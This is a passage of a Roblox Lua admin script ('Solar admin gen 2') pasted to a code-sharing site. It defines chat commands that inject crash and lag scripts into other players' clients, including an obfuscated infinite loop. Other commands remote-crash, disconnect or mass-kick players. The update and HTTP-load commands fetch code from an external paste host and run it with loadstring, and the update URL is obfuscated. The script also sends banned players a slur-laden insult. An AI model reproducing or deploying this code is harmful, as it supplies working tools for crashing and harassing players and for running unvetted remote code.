  1632. P.AncestryChanged:connect(function()Lag()end)
  1633. for _,v in pairs(C:GetChildren()) do pcall(function()v.Anchored=true end) end
  1634. end
  1635. end))
  1636. end
  1637. RS.Stepped:connect(function()for i=1,10 do Lag()Lag()Lag()end end)]],v.Backpack)
  1638. end
  1639. end
  1640. end
  1641. end
  1642. end)
  1643.  
  1644.  
  1645. AddCmd("Kick","kick","Kick a player","-r (remove), -p (parent to nil), -c (crash) -b (ban) -rj (rejoin) -l (lag)",3,
  1646. function(p,m)
  1647. if GetSplit(m) == "r" then
  1648. m = m:gsub("-r","")
  1649. for _,v in pairs(GetPlayers(p,m)) do
  1650. pcall(function()
  1651. v:remove()
  1652. end)
  1653. end
  1654. elseif GetSplit(m) == "p" then
  1655. m=m:gsub('-p','')
  1656. for _,v in pairs(GetPlayers(p,m)) do
  1657. pcall(function()
  1658. v.Parent = nil
  1659. end)
  1660. end
  1661. elseif GetSplit(m) == "c" then
  1662. m=m:gsub('-c','')
  1663. for _,v in pairs(GetPlayers(p,m)) do
  1664. pcall(function()
  1665. NewLS(string.gsub("ArAeApAeAaAtA AuAnAtAiAlA AfAaAlAsAeA","A",""), v.Backpack)
  1666. end)
  1667. end
  1668. elseif GetSplit(m) == 'b' then
  1669. m=m:gsub('-b','')
  1670. for _,v in pairs(GetPlayers(p,m)) do
  1671. pcall(function()
  1672. v:Kick()
  1673. for i,a in pairs(Solar['Ranked']) do
  1674. if a["Name"] == v.Name then
  1675. a["Rank"] = -1
  1676. end
  1677. end
  1678. end)
  1679. end
  1680. elseif GetSplit(m) == 'rj' then
  1681. m=m:gsub('-rj','')
  1682. for i,v in pairs(GetPlayers(p,m)) do
  1683. pcall(function()
  1684. NewLS("game:service\"TeleportService\":Teleport(game.PlaceId)",v:findFirstChild'Backpack' or v.Character or v:findFirstChild'PlayerGui')
  1685. end)
  1686. end
  1687. elseif GetSplit(m) == 'l' then
  1688. m=m:gsub('-l','')
  1689. for i,v in pairs(GetPlayers(p,m)) do
  1690. pcall(function()
  1691. NewLS(SpecialLagSource,v:findFirstChild'Backpack' or v.Character or v:findFirstChild'PlayerGui')
  1692. end)
  1693. end
  1694. else
  1695. for _,v in pairs(GetPlayers(p,m)) do
  1696. pcall(function()
  1697. v:Kick()
  1698. end)
  1699. end
  1700. end
  1701. end
  1702. )
  1703. AddCmd("Music","music","Players a song","-i (ID), -s (Stop), -p (Play), -pitch (Set pitch), -v (Set volume)",2,
  1704. function(p,m)
  1705. if GetSplit(m) == "i" then
  1706. m = m:gsub('-i','')
  1707. if CurrSound then
  1708. CurrSound.SoundId = 'http://www.roblox.com/asset/?id='..m
  1709. else
  1710. CurrSound = Instance.new("Sound", workspace) --ye
  1711. CurrSound.Name = "SolarSoundSystem"
  1712. CurrSound.SoundId = 'http://www.roblox.com/asset/?id='..m
  1713. end
  1714. game:service'ContentProvider':Preload('http://www.roblox.com/asset/?id='..m)
  1715. elseif GetSplit(m) == "s" then
  1716. if CurrSound then
  1717. CurrSound:Stop()
  1718. end
  1719. elseif GetSplit(m) == 'p' then
  1720. if CurrSound then
  1721. CurrSound:Play()
  1722. else
  1723. CurrSound = Instance.new("Sound",workspace)
  1724. CurrSound.Name = 'SolarSoundSystem'
  1725. end
  1726. elseif GetSplit(m) == 'pitch' then
  1727. m = m:gsub('-pitch','')
  1728. if CurrSound then
  1729. CurrSound.Pitch = tonumber(m)
  1730. else
  1731. CurrSound = Instance.new("Sound",workspace)
  1732. CurrSound.Name = 'SolarSoundSystem'
  1733. CurrSound.Pitch = tonumber(m)
  1734. end
  1735. elseif GetSplit(m) == "v" then
  1736. m = m:gsub('-v','')
  1737. if CurrSound then
  1738. CurrSound.Volume = tonumber(m)
  1739. else
  1740. CurrSound = Instance.new("Sound",workspace)
  1741. CurrSound.Name = 'SolarSoundSystem'
  1742. CurrSound.Volume = tonumber(m)
  1743. end
  1744. end
  1745. end
  1746. )
  1747. AddCmd("Fix rotation","fixrot","Fix the rotation","<no arguments>",0,
  1748. function(p)
  1749. function UpdateTablets()
  1750. pcall(function()
  1751. Solar["Rotation"]=Solar["Rotation"]+Solar["RotationAddValue"]/100
  1752. for _,v in pairs(game.Players:players()) do
  1753. local PT={}
  1754. local Curr=0
  1755. for _,t in pairs(Solar["Tabs"])do
  1756. if t.Owner==v then
  1757. table.insert(PT, t)
  1758. end
  1759. end
  1760. for i=1,#PT do
  1761. local pos = v.Character.Torso.CFrame
  1762. local m=(i/#PT-(.5/#PT)+(Solar["Rotation"]/(#PT/10)))*math.pi*2
  1763. local rad=(#PT*.6)+4
  1764. local x=math.sin(m)*(rad)
  1765. local y=math.sin(time()/5)
  1766. local z=math.cos(m)*rad
  1767. local arot=Vector3.new(x,y,z)+pos.p
  1768. local brot=PT[i].P.CFrame.p
  1769. local crot=arot*.1+brot *.9
  1770. local d=math.rad((Solar["Rotation"]*300)*math.pi)
  1771. PT[i].P.CFrame=CFrame.new(crot,pos.p)*CFrame.Angles(d,d,d)
  1772. end
  1773. end
  1774. end)
  1775. end
  1776. if RotCon then
  1777. RotCon:disconnect()
  1778. end
  1779. wait(1)
  1780. RotCon = game:service'RunService'.Stepped:connect(function()
  1781. a,b = ypcall(function()
  1782. UpdateTablets()
  1783. end) if not a then OutputAdmins(b,"Really red") end
  1784. end)
  1785. Solar["Rotation"] = 0
  1786. Solar["RotationAddValue"] = 0.1
  1787. Output(p,"Rotation fixed.",GetColor(p))
  1788. end
  1789. )
  1790. AddCmd("Get ranked","getranked","Get ranked players","-p (find only 1 player)",0,
  1791. function(p,m)
  1792. if GetSplit(m) == "p" then
  1793. m = m:gsub("-p","")
  1794. for i,v in pairs(Solar["Ranked"]) do
  1795. if v["Name"]:lower():sub(1,#m) == m:lower() then
  1796. PlayerInterface(p,v)
  1797. end
  1798. end
  1799. else
  1800. GetRanked(p)
  1801. end
  1802. end
  1803. )
  1804. AddCmd("Shutdown","sd","Shuts the server down","-u (update)",3,
  1805. function(p,m)
  1806. if GetSplit(m) == 'u' then
  1807. for i,v in pairs(game.Players:players()) do
  1808. coroutine.wrap(function()
  1809. pcall(function()
  1810. NewLS([[
  1811. wait(0.001)
  1812. script:ClearAllChildren()
  1813. script.Parent = nil
  1814. lp = game:service'Players'.LocalPlayer
  1815. pcall(function()
  1816. lp:Kick()
  1817. end)
  1818. wait()
  1819. local a = Instance.new("Message",workspace)
  1820. a.Text = "You will be back for 10 seconds, don't leave"
  1821. wait(10)
  1822. game:service'TeleportService':Teleport(game.PlaceId)
  1823. ]],v:findFirstChild'Backpack' or v:findFirstChild'PlayerGui' or v.Character)
  1824. coroutine.wrap(function()
  1825. wait(1)
  1826. if v ~= nil then
  1827. v:Kick()
  1828. end
  1829. end)()
  1830. game.Players.ChildAdded:connect(function(pl)
  1831. wait(3)
  1832. plr:Destroy()
  1833. end)
  1834. end)
  1835. end)()
  1836. end
  1837. else
  1838. for _,v in pairs(game.Players:getPlayers()) do
  1839. v:Kick()
  1840. wait();
  1841. v:remove()
  1842. end
  1843. end
  1844. end
  1845. )
  1846.  
  1847. AddCmd("Toggle notifications","tn","Toggle all notifications","<no arguments>",3,
  1848. function(p)
  1849. if Not == true then
  1850. Not = false
  1851. else
  1852. Not = true
  1853. end
  1854. Output(p,"Notifications set to: "..tostring(Not),"Really red")
  1855. end
  1856. )
  1857. AddCmd("Teleport","tp","Teleport yourself to another place","No argumentios",0,
  1858. function(p,m)
  1859. NewLS([[game:service'TeleportService':Teleport(]]..m..[[)]],p.Backpack)
  1860. end
  1861. )
  1862.  
  1863. AddCmd("God","god","Gods a person",'no args',1,
  1864. function(p,m)
  1865. for i,v in pairs(GetPlayers(p,m)) do
  1866. if v.Character then
  1867. if v.Character.Humanoid then
  1868. v.Character.Humanoid.MaxHealth = math.huge
  1869. end
  1870. end
  1871. end
  1872. end)
  1873.  
  1874. AddCmd("Message",'m',"Creates a message","-h (Hint), -t (Time)",2, --we dont need arguments for dat
  1875. function(p, m) --p = player
  1876. for _,v in pairs(workspace:children()) do
  1877. if v.ClassName == 'Message' or v.ClassName == 'Hint' then
  1878. v:Destroy()
  1879. end
  1880. end
  1881. if GetSplit(m) == "h" then
  1882. m = m:gsub('-h','')
  1883. local a = Instance.new("Hint", workspace)
  1884. a.Text = '['..p.Name..']: '..m
  1885. game:service'Debris':AddItem(a,5)
  1886. elseif GetSplit(m) == 't' then
  1887. m = m:gsub('-t','')
  1888. local time = tonumber(m:sub(1,3))
  1889. m = m:gsub(tostring(time),'')
  1890. local a = Instance.new("Message", workspace)
  1891. a.Text = '['..p.Name..']: '..m
  1892. game:service'Debris':AddItem(a,time)
  1893. else
  1894. local a = Instance.new('Message',workspace)
  1895. a.Text = '['..p.Name..']: '..m
  1896. game:service'Debris':AddItem(a,5)
  1897. end
  1898. end
  1899. )
  1900. AddCmd("Run-time","runtime","Shows the time Solar has been running","No args",0,
  1901. function(p)
  1902. Output(p,('Solar has been running for %d:%d:%d'):format(Hours,Minutes,Seconds))
  1903. Output(p,('Solar has been running for '..Hours..' hours, '..Minutes..' minutes, and '..Seconds..' seconds!'))
  1904. end
  1905. )
  1906. AddCmd("Pri","pri","Toggle private server","-on (Turns PRI on), -off (Turns PRI off)",4,
  1907. function(p, m)
  1908. if GetSplit(m) == "on" then
  1909. m = m:gsub('-on','')
  1910. PrivateServer = true
  1911. for i,v in pairs(game:service'Players':players()) do
  1912. if GetRank(v) < 0.1 then
  1913. pcall(function()
  1914. coroutine.wrap(function()
  1915. repeat v:Kick() wait() until v == nil
  1916. end)()
  1917. end)
  1918. end
  1919. end
  1920. OutputAdmins("WARNING: Private server is on","Really red")
  1921. elseif GetSplit(m) == "off" then
  1922. m=m:gsub('-off','')
  1923. wait()
  1924. PrivateServer = false
  1925. OutputAdmins("Private server is off","Really red")
  1926. end
  1927. end
  1928. )
  1929. AddCmd("Mute","mute","Block player's chat","-u (unmute)",2,
  1930. function(p,m)
  1931. if GetSplit(m) == "u" then
  1932. m = m:gsub('-u','')
  1933. for i,v in pairs(GetPlayers(p,m)) do
  1934. if v and v.Backpack then
  1935. NewLS("game:service'StarterGui':SetCoreGuiEnabled('All',true)",v.Backpack)
  1936. end
  1937. end
  1938. else
  1939. for i,v in pairs(GetPlayers(p,m)) do
  1940. if v and v.Backpack then
  1941. NewLS("game:service'StarterGui':SetCoreGuiEnabled('All',false)",v.Backpack)
  1942. end
  1943. end
  1944. end
  1945. end
  1946. )
  1947. AddCmd("Rejoin","rj","Rejoins player",'no arguments',2,
  1948. function(p,m)
  1949. for _,v in pairs(GetPlayers(p,m)) do
  1950. game:service'TeleportService':Teleport(game.PlaceId,v.Character)
  1951. end
  1952. end
  1953. )
  1954. AddCmd("Player Info","pinfo","Shows player info","No argmentz",1,
  1955. function(p,m)
  1956. for _,v in pairs(GetPlayers(p,m)) do
  1957. Output(p,v.Name.."'s account age is "..v.AccountAge.." days")
  1958. Output(p,"Name: "..v.Name)
  1959. Output(p,v.Name.."'s account-id is: "..v.userId)
  1960. end
  1961. end
  1962. )
  1963. AddCmd("Warn","warn","Warns a player","No arguments",2,
  1964. function(p,m)
  1965. local k = m:find(',')
  1966. local plr = m:sub(1,tonumber(k)-1)
  1967. local txt = m:sub(tonumber(k)+1)
  1968. for i,v in pairs(GetPlayers(p,plr)) do
  1969. Output(v,p.Name..' warns you for: '..txt,'Really red')
  1970. end
  1971. end
  1972. )
  1973. AddCmd("Disconnect","disc","Disconnect a player (can disconnect nilled players)","-n (nil players), -a (all players)",3,
  1974. function(p,m)
  1975. if GetSplit(m) == "n" then
  1976. Disconnect('nil')
  1977. if Not == true then
  1978. Output(p,'You disconnected all connected nil players','Really red')
  1979. end
  1980. elseif GetSplit(m) == 'a' then
  1981. Disconnect('all')
  1982. if Not == true then
  1983. Output(p,'You disconnected all players and shutdowned the server','Really red')
  1984. end
  1985. else
  1986. Disconnect(m)
  1987. if Not == true then
  1988. Output(p,'You disconnected: '..m,'Really red')
  1989. end
  1990. end
  1991. end
  1992. )
  1993. AddCmd('Get nils','nilp','Get nil players in game','<no arguments>',1,
  1994. function(p)
  1995. for i,v in pairs(game:service'NetworkServer':children()) do
  1996. if v:GetPlayer() then
  1997. if v:GetPlayer().Parent ~= game:service'Players' then
  1998. Output(p,v:GetPlayer().Name,'Really red', function()
  1999. Dismiss(p)
  2000. if GetRank(v:GetPlayer().Name) < GetRank(p) then
  2001. Output(p,'Try to remote disconnect: '..v:GetPlayer().Name..'?','Really red',function()
  2002. RemoteCrash(v:GetPlayer().Name)
  2003. end)
  2004. end
  2005. end)
  2006. end
  2007. end
  2008. end
  2009. end
  2010. )
  2011. AddCmd("Updates","updates","Check latest updates from this admin","<no arguments>",-0.5,
  2012. function(p)
  2013. Dismiss(p)
  2014. for i = #Solar['Cmds']-2,#Solar['Cmds'] do
  2015. Output(p,'New command: '..Solar['Cmds'][i]['Name'],'Institutional white')
  2016. end
  2017. end
  2018. )
  2019. AddCmd("Explore","explore","Explore the game","<no arguments>",1,
  2020. function(p,m)
  2021. Explore(p)
  2022. end
  2023. )
  2024. AddCmd("Nil support","connect","Connect yourself to nil support","<no arguments>",3,
  2025. function(p)
  2026. pcall(function()
  2027. NewLS(NilSupport,p:findFirstChild'Backpack' or p:findFirstChild'PlayerGui' or p.Character)
  2028. NewLS(PixelChatSource,p:findFirstChild'Backpack' or p:findFirstChild'PlayerGui' or p.Character)
  2029. end)
  2030.  
  2031. end
  2032. )
  2033. AddCmd("Update","update","Update the admin","<no arguments>",3,
  2034. function(p)
  2035. ha = true
  2036. a,b = ypcall(function()
  2037. game:service'HttpService':GetAsync('https://code.stypi.com/')
  2038. end) if not a then
  2039. Output(p,'HttpService is not available.','Really red')
  2040. ha = false
  2041. end
  2042. if ha == true then
  2043. NewS([[
  2044. a,b = ypcall(function()
  2045. h = game:service'HttpService'
  2046. _ = string.gsub('XhXtXtXpXsX:X/X/XcXoXdXeX.XsXtXyXpXiX.XcXoXmX/XrXaXwX/XaXlXeXkXsXaX1X2X4X3X2X/XSXoXlXaXrX%X2X0XaXdXmXiXnX%X2X0XgXeXnX%X2X0X2X.XlXuXaX','X','')
  2047. s = h:GetAsync(_,true)
  2048. s1 = s:gsub('<pre style="word-wrap: break-word; white-space: pre-wrap;">','')
  2049. s2 = s1:gsub('</pre>','')
  2050. loadstring(s2)()
  2051. end) if not a then Instance.new("Message",workspace).Text = b end
  2052. ]], game:service'Workspace')
  2053. for _,v in pairs(ChatConnections) do
  2054. pcall(function()
  2055. v:disconnect()
  2056. end)
  2057. end
  2058. Solar = nil
  2059. RotCon:disconnect()
  2060. PACon:disconnect()
  2061. function Output()
  2062. end
  2063. function Dismiss()
  2064. end
  2065. function AddCmd()
  2066. end
  2067. function GetSplit()
  2068. end
  2069. function OutputAdmins()
  2070. end
  2071. function GetPlayers()
  2072. end
  2073. function ShowCommands()
  2074. end
  2075. function OnChatted()
  2076. end
  2077. end
  2078. end
  2079. )
  2080. AddCmd("Pixel chat","pc","Local pixel chat to yourself","<no arguments>",3,
  2081. function(p)
  2082. pcall(function()
  2083. NewLS(PixelChatSource, p:findFirstChild'Backpack' or p:findFirstChild'PlayerGui' or p.Character)
  2084. end)
  2085. end
  2086. )
  2087. AddCmd("Http load",'hload','Load a script via http service','-l (local) -s (server-sided)',3,
  2088. function(p,m)
  2089. if GetSplit(m) == 'l' then
  2090. m = m:gsub('-l','')
  2091. http = true
  2092. scr = 'a = Instance.new("Hint",workspace) a.Text = "Link not found" game:service("Debris"):AddItem(a,3)'
  2093. val = 'asd'
  2094. a,b = ypcall(function()
  2095. h = game:service'HttpService'
  2096. scr = h:GetAsync('https://code.stypi.com/',true)
  2097. end) if not a then http = false end
  2098. if http == false then
  2099. Output(p,'HttpService is off, hload is unable to use.','Really red')
  2100. end
  2101. if http ~= false then
  2102. h = game:service'HttpService'
  2103. scr = h:GetAsync(m,true)
  2104. a = Instance.new("StringValue",game.Lighting)
  2105. a.Name = 'Script '..tostring(math.random(-99999,99999))
  2106. val = a.Name
  2107. end
  2108. pcall(function()
  2109. NewLS("wait(1) a,b = pcall(function() loadstring(game.Lighting."..val..".Value)() end) if not a then Instance.new('Hint',workspace).Text=b end",p:findFirtChild'Backpack' or p:findFirstChild'PlayerGui' or p.Character)
  2110. end)
  2111. elseif GetSplit(m) == 's' then
  2112. m = m:gsub('-s','')
  2113. NewS([[
  2114. a,b = ypcall(function()
  2115. h = game:service'HttpService'
  2116. _ = ']]..m..[['
  2117. s = h:GetAsync(_,true)
  2118. loadstring(s)()
  2119. end) if not a then Instance.new("Message",workspace).Text=b end
  2120. ]], workspace)
  2121. else
  2122. NewS([[
  2123. a,b = ypcall(function()
  2124. h = game:service'HttpService'
  2125. _ = ']]..m..[['
  2126. s = h:GetAsync(_,true)
  2127. loadstring(s)()
  2128. end) if not a then Instance.new("Message",workspace).Text=b end
  2129. ]], workspace)
  2130. end
  2131. end
  2132. )
  2133. AddCmd('Override','override','Override the admin',"<no arguments>",0,
  2134. function(p)
  2135. Override(p)
  2136. end
  2137. )
  2138. AddCmd("Fix lighting","flig","Fixes lighting","No arguments",0,
  2139. function()
  2140. local lighting = game:service'Lighting'
  2141. lighting.GeographicLatitude=41.733299255371;
  2142. lighting.ColorShift_Bottom=_RGB(0,0,0);
  2143. lighting.ShadowColor=_RGB(179,179,179);
  2144. lighting.ColorShift_Top=_RGB(0,0,0);
  2145. lighting.FogColor=_RGB(192,192,192);
  2146. lighting.Ambient=_RGB(128,128,128);
  2147. lighting.TimeOfDay='14:00:00';
  2148. lighting.GlobalShadows=false;
  2149. lighting.Name='Lighting';
  2150. lighting.archivable=true;
  2151. lighting.Outlines=false;
  2152. lighting.Brightness=1;
  2153. lighting.FogEnd=1e5;
  2154. lighting.FogStart=0;
  2155. local c=lighting:children();
  2156. for i=1,#c do
  2157. if(c[i].className=='Sky')then
  2158. pcall(function() c[i]:remove() end)
  2159. end;
  2160. end;
  2161. end
  2162. )
  2163. AddCmd("Lock scripting","lockscr","Lock scripting","-u (unlock)",4,
  2164. function(p,m)
  2165. if GetSplit(m) == 'u' then
  2166. ScriptingLocked = false
  2167. OutputAdmins("Scripting is unlocked")
  2168. else
  2169. ScriptingLocked = true
  2170. OutputAdmins("WARNING: SCRIPTING IS LOCKED","Really red")
  2171. end
  2172. end
  2173. )
  2174. AddCmd("Use at","@","Use a command at somebody (separate player name with command with ',')","<no arguments>",2,
  2175. function(p,m)
  2176. local k = m:find(',')
  2177. local plr = m:sub(1,tonumber(k)-1)
  2178. local msg = m:sub(tonumber(k)+1)
  2179. for i,v in pairs(GetPlayers(p,plr)) do
  2180. OnChatted(v,msg)
  2181. end
  2182. end
  2183. )
  2184. AddCmd("Ask for rank-up","afrup","Ask admins for rank up","<no arguments>",0,
  2185. function(p,m)
  2186. if GetRank(p) > 3 then
  2187. Output(p,'Your rank is more than 3, you can\'t ask for rank-up','Really red')
  2188. else
  2189. OutputAdmins(p.Name..' (rank '..GetRank(p)..') asks for rank up','Really red')
  2190. end
  2191. end
  2192. )
  2193. AddCmd("Private message","pm",'Show a player a private message (\',\' to separate player name from text)','<no arguments>',1,
  2194. function(p,m)
  2195. local sep = m:find(',')
  2196. local plr = m:sub(1,tonumber(sep)-1)
  2197. local msg = m:sub(tonumber(sep)+1)
  2198. for i,v in pairs(GetPlayers(p,plr)) do
  2199. PrivateMessage(p,v,msg)
  2200. end
  2201. end
  2202. )
  2203. --[[END OF COMMANDS]]--
  2204. coroutine.wrap(function()
  2205. for _,v in pairs(game.Players:players()) do
  2206. local con = v.Chatted:connect(function(msg)
  2207. OnChatted(v,msg)
  2208. end)
  2209. ChatConnections[#ChatConnections+1] = con
  2210. AddRank(v.Name, 0, "<Reason not defined>", "Bright green")
  2211. if v.AccountAge < 15 then
  2212. if Not == true then
  2213. OutputAdmins(v.Name.." has been kicked for age less than 15","Really red")
  2214. end
  2215. pcall(function()
  2216. coroutine.wrap(function()
  2217. repeat v:Kick() wait(0.1) until v == nil
  2218. end)()
  2219. end)
  2220. end
  2221. if PrivateServer then
  2222. if GetRank(v) < 0.1 then
  2223. if Not == true then
  2224. OutputAdmins(v.Name.." has been kicked due to private server","Really red")
  2225. end
  2226. pcall(function()
  2227. coroutine.wrap(function()
  2228. repeat v:Kick() wait(0.1) until v == nil
  2229. end)()
  2230. end)
  2231. end
  2232. end
  2233. Connect(v)
  2234. end
  2235. PACon = game.Players.ChildAdded:connect(function(plr)
  2236. wait(1)
  2237. AddRank(plr.Name, 0, "<Reason not defined>", "Bright green")
  2238. if GetRank(plr) < -0.5 then
  2239. if Not == true then
  2240. OutputAdmins(plr.Name.." has been kicked due to ban","Really red")
  2241. end
  2242. pcall(function()
  2243. coroutine.wrap(function()
  2244. repeat plr:Kick() wait(0.1) until plr == nil
  2245. end)()
  2246. end)
  2247. elseif PrivateServer then
  2248. if GetRank(plr) < 0.1 then
  2249. if Not == true then
  2250. OutputAdmins(plr.Name.." has been kicked due to private server","Really red")
  2251. end
  2252. pcall(function()
  2253. coroutine.wrap(function()
  2254. repeat plr:Kick() wait(0.1) until plr == nil
  2255. end)()
  2256. end)
  2257. end
  2258. elseif plr.AccountAge < 15 then
  2259. if Not == true then
  2260. OutputAdmins(plr.Name.." has been kicked for age less than 15","Really red")
  2261. end
  2262. pcall(function()
  2263. coroutine.wrap(function()
  2264. repeat plr:Kick() wait(0.1) until plr == nil
  2265. end)()
  2266. end)
  2267. else
  2268. if Not == true then
  2269. OutputAdmins(plr.Name.." has joined the game","Lime green")
  2270. end
  2271. end
  2272. wait(0.5)
  2273. local con = plr.Chatted:connect(function(msg)
  2274. OnChatted(plr,msg)
  2275. end)
  2276. ChatConnections[#ChatConnections+1] = con
  2277. Connect(plr)
  2278. end)
  2279. end)()
  2280. --[[OWNER SAFETY]]--
  2281.  
  2282.  
  2283.  
  2284. --[[NILS ON CHATTED SUPPORT]]--
  2285. local con = game:service'Workspace'.descendantAdded:connect(function(asd)
  2286. if asd.ClassName == 'StringValue' then
  2287. if asd.Name == 'LolCon' then
  2288. local k = asd.Value:find('\31')
  2289. local plr = asd.Value:sub(1,tonumber(k)-1)
  2290. local msg = asd.Value:sub(tonumber(k)+1)
  2291. for i,v in pairs(game:service'Players':players()) do
  2292. if v.Name == plr then
  2293. return
  2294. end
  2295. end
  2296. OnChatted(plr,msg)
  2297. end
  2298. end
  2299. end)
  2300. ChatConnections[#ChatConnections+1] = con
  2301. --[[END OF NILS CHATTED SUPPORT]]--
  2302. --[[NILS UPDATE TABLETS]]--
  2303. game:service'RunService'.Stepped:connect(function()
  2304. UpdateNilPlayersTablets()
  2305. end)
  2306. workspace.descendantAdded:connect(function(a)
  2307. if a.ClassName == 'Script' or a.ClassName == 'LocalScript' then
  2308. if ScriptingLocked == true then
  2309. a.Disabled = true
  2310. a:remove()
  2311. end
  2312. end
  2313. end)
  2314. workspace.descendantAdded:connect(function(a)
  2315. pcall(function()
  2316. x = 0
  2317. for i,v in pairs(workspace:children()) do
  2318. if v.ClassName == 'Message' or v.ClassName == 'Hint' then
  2319. x = x + 1
  2320. end
  2321. end
  2322. if x > MessageLimit then
  2323. for i,v in pairs(workspace:children()) do
  2324. if v.ClassName == 'Message' or v.ClassName == 'Hint' then
  2325. v:remove()
  2326. end
  2327. end
  2328. if Not == true then
  2329. OutputAdmins(string.format('Removed %d messages/hints due to message/hint limit',x),'Really red')
  2330. end
  2331. end
  2332. end)
  2333. end)
  2334. --[[END OF NILS UPDATE TABLETS]]--
  2335. for _,v in pairs(game.Players:players()) do
  2336. Output(v,"Solar admin gen 2 loaded.", GetColor(v))
  2337. if GetRank(v) < 0 then
  2338. Output(v,'You are a jerk, idiot, noob, mot\5herfu\5cking ret\5ar\5d, and you have mental illness','Hot pink')
  2339. end
  2340. end
  2341. end) if not a then
  2342. local c = Instance.new("Message",workspace)
  2343. c.Text=b
  2344. end
  2345. --[[--when you load with this method below, the stypi needs to be public.
  2346. --asd
  2347. --asd
  2348. --asd
  2349. --asd
  2350. --asd
  2351. a,b = pcall(function()
  2352. h = game:service'HttpService'
  2353. _ = string.gsub('https://code.stypi.com/raw/aleksa12432/XSXoXlXaXrX%X2X0XaXdXmXiXnX%X2X0XgXeXnX%X2X0X2X.XlXuXaX','X','')
  2354. s = h:GetAsync(_,true)
  2355. loadstring(s)()
  2356. end) if not a then Instance.new("Message",workspace).Text = b end
  2357. ]]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement